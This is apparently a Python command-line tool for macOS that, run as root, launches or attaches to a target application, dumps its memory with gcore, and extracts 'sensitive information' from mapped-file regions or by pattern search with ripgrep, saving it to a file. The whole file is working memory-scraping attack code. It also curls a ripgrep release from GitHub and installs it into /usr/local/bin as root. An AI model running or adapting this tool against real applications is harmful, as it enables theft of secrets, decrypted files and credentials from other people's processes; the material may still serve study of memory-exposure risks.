import os
import subprocess
import lief
import typer
from pathlib import Path
from enum import Enum
from dataclasses import dataclass
import time


class SearchMethod(Enum):
    file_based = "file_based"
    pattern_based = "pattern_based"


class SearchType:
    pass


@dataclass
class FileBasedSearch(SearchType):
    target_file: str


@dataclass
class PatternBasedSearch(SearchType):
    search_pattern: str


def check_root():
    if os.geteuid() != 0:
        typer.echo("[-] This script must be run as root")
        raise typer.Exit(1)


def find_target_process(process_name: str) -> tuple[str, str]:
    core_file = f"/tmp/{os.path.basename(process_name)}.core"
    try:
        pid = subprocess.check_output(["pgrep", "-f", process_name]).decode().strip()
        if "\n" in pid:
            typer.echo(f"[-] Found multiple processes for {process_name}, please specify the PID")
            raise typer.Exit(1)
        if not pid:
            typer.echo(f"[-] Failed to find process {process_name}")
            raise typer.Exit(1)
        return pid, core_file
    except subprocess.CalledProcessError:
        return None, None


def launch_target_app(app_path: str, target_file: str | None = None) -> tuple[str, str]:
    app_name = Path(app_path).stem
    core_file = f"/tmp/{app_name}.core"
    
    typer.echo(f"[+] Launching app... {app_path} with target file ({target_file})")
    if target_file:
        subprocess.run(["open", "-g", "-j", "-a", app_path, target_file])
    else:
        subprocess.run(["open", "-g", "-j", "-a", app_path])

    typer.echo("[+] Waiting for app to launch...")
    time.sleep(10)
    
    typer.echo("[+] Getting PID...")
    try:
        pid = subprocess.check_output(["pgrep", "-f", Path(app_path) / "Contents" / "MacOS" / app_name]).decode().strip()
        if "\n" in pid:
            typer.echo(f"[-] Found multiple instances for {app_name}")
            typer.echo("[-] Please specify the PID")
            raise typer.Exit(1)
        if not pid:
            typer.echo(f"[-] Failed to find process {app_name}")
            raise typer.Exit(1)
    except subprocess.CalledProcessError:
        typer.echo(f"[-] Failed to get PID for {app_name}")
        raise typer.Exit(1)

    return pid, core_file


def find_target_region(binary: lief.MachO.Binary, region: tuple[int, int]) -> tuple[memoryview, int]:
    for segment in binary.segments:
        if segment.virtual_address == region[0] and segment.virtual_address + segment.virtual_size == region[1]:
            return segment.content, segment.virtual_address
    raise Exception("[-] Region not found")


def find_mapped_files(vmmap_output: str, target_file: str) -> list[tuple[int, int]]:
    mapped_file_addresses = []
    for line in vmmap_output.split("\n"):
        if target_file in line:
            if line.startswith("mapped file"):
                begin_addr = int(line.split()[2].split("-")[0], 16)
                end_addr = int(line.split()[2].split("-")[1], 16)
                mapped_file_addresses.append((begin_addr, end_addr))

    return mapped_file_addresses


def search_core_file(core_file: str, addresses: list[tuple[int, int]], output_file: str):
    binary = lief.parse(core_file)
    with open(output_file, "wb") as f:
        for address in addresses:
            try:
                content, addr = find_target_region(binary, address)
                typer.echo(f"[+] Found matching region at address: {addr:x} with size: {len(content)}")
                f.write(content)
            except Exception as e:
                typer.echo(f"[-] Failed to dump region: {e}")
    typer.echo(f"[+] Sensitive information is dumped to {output_file}")


def dump_sensitive_info(pid: str, core_file: str, output_file: str, search_type: SearchType):
    typer.echo(f"[+] Dumping core... for pid {pid}")
    result = subprocess.run(["gcore", "-d", "-s", "-v", "-o", core_file, pid])
    
    if result.returncode == 74:
        typer.echo("[+] gcore failed to dump core file, but it's still possible to dump sensitive information")
        core_file = f"{core_file}.tmp"
        typer.echo(f"[+] Core file is saved to {core_file}")
    else:
        typer.echo(f"[+] Core file is saved to {core_file}")
    
    typer.echo(f"[+] Running vmmap... for pid {pid}")
    vmmap_output = subprocess.run(["vmmap", "--wide", pid], stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.decode()

    match search_type:
        case FileBasedSearch():
            addresses = find_mapped_files(vmmap_output, search_type.target_file)
            search_core_file(core_file, addresses, output_file)
        case PatternBasedSearch():
            search_pattern_in_core(core_file, search_type.search_pattern, output_file)
        case _:
            typer.echo(f"[-] Unsupported search type: {search_type}")
            raise typer.Exit(1)


def check_rg_installed() -> bool:
    try:
        subprocess.run(["which", "rg"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True)
        return True
    except subprocess.CalledProcessError:
        return False


def install_rg() -> None:
    typer.echo("[+] Installing ripgrep locally...")
    try:
        rg_url = "https://github.com/BurntSushi/ripgrep/releases/download/14.1.1/ripgrep-14.1.1-aarch64-apple-darwin.tar.gz"
        subprocess.run(["curl", "-L", "-o", "/tmp/rg.tar.gz", rg_url], check=True)
        subprocess.run(["tar", "xzf", "/tmp/rg.tar.gz", "-C", "/tmp"], check=True)
        subprocess.run(["mkdir", "-p", "/usr/local/bin"], check=True)
        subprocess.run(["mv", "/tmp/ripgrep-14.1.1-aarch64-apple-darwin/rg", "/usr/local/bin/"], check=True)
        subprocess.run(["rm", "-rf", "/tmp/rg.tar.gz", "/tmp/ripgrep-14.1.1-aarch64-apple-darwin"], check=True)
        typer.echo("[+] Ripgrep installed successfully")
    except subprocess.CalledProcessError as e:
        typer.echo(f"[-] Failed to install ripgrep: {e}")
        raise typer.Exit(1)


def search_pattern_in_core(core_file: str, search_pattern: str, output_file: str):
    if not check_rg_installed():
        install_rg()
    
    typer.echo(f"[+] Searching for pattern: {search_pattern}")
    try:
        result = subprocess.run(
            ["rg", "-a", "-U", search_pattern, core_file],
            check=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE
        )
        with open(output_file, "wb") as f:
            f.write(result.stdout)
        typer.echo(f"[+] Pattern found and saved to {output_file}")
    except subprocess.CalledProcessError as e:
        if e.returncode == 1:
            typer.echo(f"[-] No matches found for {search_pattern} in {core_file}")
        else:
            typer.echo(f"[-] Failed to search pattern: {e}")
        raise typer.Exit(1)


def main(
    app_path: Path = typer.Argument(..., help="Path to the target application"),
    output_file: Path = typer.Argument(..., help="Path to save the dumped content"),
    search_method: SearchMethod = typer.Argument(..., help="Search method"),
    target_file: str = typer.Option(None, help="Full path to the target file to dump"),
    search_pattern: str = typer.Option(None, help="Search pattern to find in the core file"),
    open_file_with_app: bool = typer.Option(False, help="Open the output file with the target application"),
    do_not_launch_app: bool = typer.Option(False, help="Do not launch the target application"),
    pid: str = typer.Option(None, help="PID of the target process"),
):
    check_root()

    match search_method:
        case SearchMethod.pattern_based:
            if not search_pattern:
                typer.echo("[-] Search pattern is required when using pattern-based search")
                raise typer.Exit(1)
            search_type = PatternBasedSearch(search_pattern)
        case SearchMethod.file_based:
            if not target_file:
                typer.echo("[-] Target file is required when using file-based search")
                raise typer.Exit(1)
            search_type = FileBasedSearch(target_file)
        case _:
            typer.echo(f"[-] Unsupported search method: {search_method}")
            raise typer.Exit(1)

    if do_not_launch_app:
        if not pid:
            typer.echo(f"[+] PID argument not provided, searching for target process by name ({app_path})")
            pid, core_file = find_target_process(str(app_path))
        else:
            typer.echo(f"[+] PID argument provided ({pid}), using it to dump memory")
            core_file = f"/tmp/procss_dump_{pid}.core"
    else:
        if pid:
            typer.echo("[+] PID argument will be ignored")
        pid, core_file = launch_target_app(str(app_path), target_file if open_file_with_app else None)

    if pid is None or core_file is None:
        typer.echo("[-] Failed to get PID or core file")
        raise typer.Exit(1)

    if os.path.exists(core_file):
        typer.echo(f"[+] Removing previous core file: {core_file}")
        os.remove(core_file)
    if os.path.exists(f"{core_file}.tmp"):
        typer.echo(f"[+] Removing previous core file: {core_file}.tmp")
        os.remove(f"{core_file}.tmp")
    
    dump_sensitive_info(pid, core_file, str(output_file), search_type)


if __name__ == "__main__":
    typer.run(main)
